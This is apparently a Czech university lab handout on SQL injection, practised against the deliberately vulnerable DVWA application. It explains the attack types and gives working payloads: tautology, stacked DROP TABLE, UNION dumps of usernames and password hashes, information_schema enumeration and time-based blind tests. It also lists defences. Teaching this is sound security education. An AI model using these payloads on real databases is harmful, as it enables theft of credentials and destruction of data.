

Fakulta elektrotechniky a informatiky
Vysoká škola báňská - Technická univerzita Ostrava

Cvičení 2

POČÍTAČOVÁ OBRANA A ÚTOK - POU



SQL injection

- útok, ve kterém je vkládán nebezpečný kód do řetězců, které jsou později použity k SQL příkazům
- každá procedura, která konstruuje SQL příkaz by měla být nejdříve zkontrolována, protože SQL Server vykoná všechny validní příkazy, které se zde nachází
- některý škodlivý kód může být zanesen do tabulek k pozdějšímu použití
- často se používají dva znaky "--" pro komentář k ignorování zbytku původního příkazu

SQL injection - příklad

```
<?php
```

```
$query = "SELECT * FROM products WHERE id = '$productId'";
```

```
$result = mysql_query($query);
```

```
?>
```

- `$productId = 1' ;drop table products --'`
- `SELECT * FROM products WHERE id='1';
drop table products--'`

SQL injection - přímý útok (Inband or inline)

- útoky používají stejný komunikační kanál jako vstup pro získání dat z database
- často se používají jako části zřetězených dotazů
 - **komentáře** (--, # a /*) - nejčastěji omezující podmínku WHERE
 - **skládání dotazů**
 - **konkatenace řetězců** - || (MySQL a ORACLE) a + (SQL Server)
 - **řetězce bez uvozovek** - pro obejít omezení na uvozovky
 - `SELECT 0x457578`
 - `SELECT CONCAT(CHAR(75),CHAR(75),CHAR(75))`
 - **spojení tabulek pomocí UNION**
 - **zneužití INSERT a UPDATE** - např. vytvoření nového uživatele

SQL injection – slepý útok (Inferential or Blind)

- dělí se na
 - normal blind (slepé)
 - zaměřené na aplikace, které nevypisují chybové hlášení, ale poskytují obecnou stránku s informací, že nastala chyba
 - totally blind (úplně slepé)
 - zaměřené na aplikace, které neposkytují žádný výstup
- aplikace nevrací žádné údaje, takže je potřeba použít jiný způsob kontroly odezvy – například se měří časová odezva aplikace
 - `WAITFOR DELAY 'h:m:s'` – používá SQL Server
 - `BENCHMARK(howMany, function())` – používá MySQL
 - výstupem je například v případě úspěchu dotazu zpomalení aplikace o 10 vteřin

SQL injection – druhotný útok (Out-of-band)

- pokud aplikace přijímá vstup způsobem, který není náchylný na SQL injection a zároveň přijímá od uživatele data, z kterých nefiltruje klíčová slova SQL
- aplikace může zpracovat zadaná data a jejich výstup je pak prezentován jiným způsobem, například útočníkovi přijde email s výstupem

SQL injection typy

- Založené na **tautologii** ($1=1$ or `""=""` is always True)
 - `SELECT * FROM Users WHERE UserId = 105 or 1=1`
 - `SELECT * FROM Users WHERE Name = "xxx" or ""="" AND Pass = "dunno" or ""=""`
- Založené na **dávkovém zpracování**
 - `SELECT * FROM Users WHERE UserId = 105; DROP TABLE Users`
- Založené na **unionu**
 - `SELECT name,price FROM Products WHERE id=1 UNION SELECT userName, password FROM Users`

SQL injection – legitimní vstup



DVWA

Vulnerability: SQL Injection

User ID:

```
ID: 1
First name: admin
Surname: admin
```

More Information

- <http://www.securiteam.com/securityreviews/5DP0N1P76E.html>
- https://en.wikipedia.org/wiki/SQL_injection
- <http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/>
- <http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet>
- https://www.owasp.org/index.php/SQL_injection
- <http://bobby-tables.com/>

Home
Instructions
Setup / Reset DB


Brute Force
Command Injection
CSRF
File Inclusion
File Upload
Insecure CAPTCHA
SQL Injection
SQL Injection (Blind)
XSS (Reflected)
XSS (Stored)

DVWA Security
PHP Info
About

Logout

Username: admin
Security Level: low
PHPIDS: disabled

SQL injection – tautology condition



- Home
- Instructions
- Setup / Reset DB

- Brute Force
- Command Injection
- CSRF
- File Inclusion
- File Upload
- Insecure CAPTCHA
- SQL Injection
- SQL Injection (Blind)
- XSS (Reflected)
- XSS (Stored)

- DVWA Security
- PHP Info
- About

- Logout

Vulnerability: SQL Injection

User ID:

```
ID: ██████████  
First name: admin  
Surname: admin  
  
ID: ██████████  
First name: Gordon  
Surname: Brown  
  
ID: ██████████  
First name: Hack  
Surname: Me  
  
ID: ██████████  
First name: Pablo  
Surname: Picasso  
  
ID: ██████████  
First name: Bob  
Surname: Smith
```

More Information

- <http://www.securiteam.com/securityreviews/5DP0N1P76E.html>
- https://en.wikipedia.org/wiki/SQL_injection
- <http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/>
- <http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet>
- https://www.owasp.org/index.php/SQL_injection
- <http://bobby-tables.com/>

Username: admin
Security Level: low
PHPIDS: disabled

SQL injection – union condition

User ID:

Submit

ID: ' AND 1=1 UNION [REDACTED]
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' AND 1=1 UNION [REDACTED]
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: ' AND 1=1 UNION [REDACTED]
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' AND 1=1 UNION [REDACTED]
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' AND 1=1 UNION [REDACTED]
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

SQL injection – information_schema

- definovaná v SQL standardu
- nástroj k popisu metadat databáze
- množina pohledů, která vrací informace o tabulkách, uložených procedurách a pohledech
- information_schema.tables – informace o tabulkách v db
- information_schema.columns – informace o sloupcích tabulek v db
- information_schema.pg_user – informace o uživatelích db

Vulnerability: SQL Injection

User ID:

```
ID: %' union Select null, table_name from information_schema.tables#  
First name:  
Surname: guestbook
```

```
ID: %' union Select null, table_name from information_schema.tables#  
First name:  
Surname: users
```

```
ID: %' union Select null, table_name from information_schema.tables#  
First name:  
Surname: ALL_PLUGINS
```

```
ID: %' union Select null, table_name from information_schema.tables#  
First name:  
Surname: APPLICABLE_ROLES
```

```
ID: %' union Select null, table_name from information_schema.tables#  
First name:  
Surname: CHARACTER_SETS
```

```
ID: %' union Select null, table_name from information_schema.tables#  
First name:  
Surname: COLLATIONS
```

```
ID: %' union Select null, table_name from information_schema.tables#  
First name:  
Surname: COLLATION_CHARACTER_SET_APPLICABILITY
```

```
ID: %' union Select null, table_name from information_schema.tables#  
First name:  
Surname: COLLATIONS
```

SQL injection – information_schema.tables

- zobrazení tabulek db
- příkaz

```
' union select null, table_name from  
information_schema.tables#
```

- odpovídá SQL příkazu

```
SELECT first_name, last_name FROM users WHERE  
user_id = ' union select null, table_name from  
information_schema.tables#'
```

Ochrana proti SQL injection

- Ochrana pomocí ošetření vstupů
- Parametrizace SQL dotazů
- Pravidlo least privilege
- zákaz čtení information_schema
- zákaz modifikace dat v tabulkách, kde to nevyžaduje aplikace

SQL injection - varování

- Hacking je nelegální, neboť se tímto způsobem snažíme dostat do systému, kterého nejsme vlastníkem
- Pokud chceme praktikovat legální hacking, pak leda na vlastním systému

SQL injection - protokol



Počítačová obrana a útok Protokol z předmětu



Tématická oblast: SQL Injection

Přednášející: prof. Ing. Ivan Zelinka, Ph.D., Ing. Jan Plucar
Cvičící: Ing. Jiří Znoj

Jméno a číslo studenta:

Datum vypracování:

Zadání:

- 1) Seznamte se s teorií útoku typu SQL Injection
- 2) Proveďte praktický test útoku SQL Injection ve webové aplikaci DVWA (low protection).

Postup řešení:

- 1) **Otestujte legitimní vstup a možnost zadání škodlivého kódu**
- 2) **Získejte seznam všech uživatelů (např. tautology (always true) condition)**
- 3) **Získejte název a verzi databáze**
- 4) **Získejte seznam tabulek databáze (schématu) dvwa**
- 5) **Získejte seznam tabulek a jejich sloupců týkajících se uživatele (user)**
- 6) **Získejte seznam [jméno, příjmení, heslo, číslo kreditní karty, pin] všech uživatelů**
- 7) **Z disku vypište obsah soubor “c:/windows/system32/drivers/etc/hosts”**

Závěr:

Uveďte, krom výsledků, také skripty, které jste pro útoky použili a popište způsoby obrany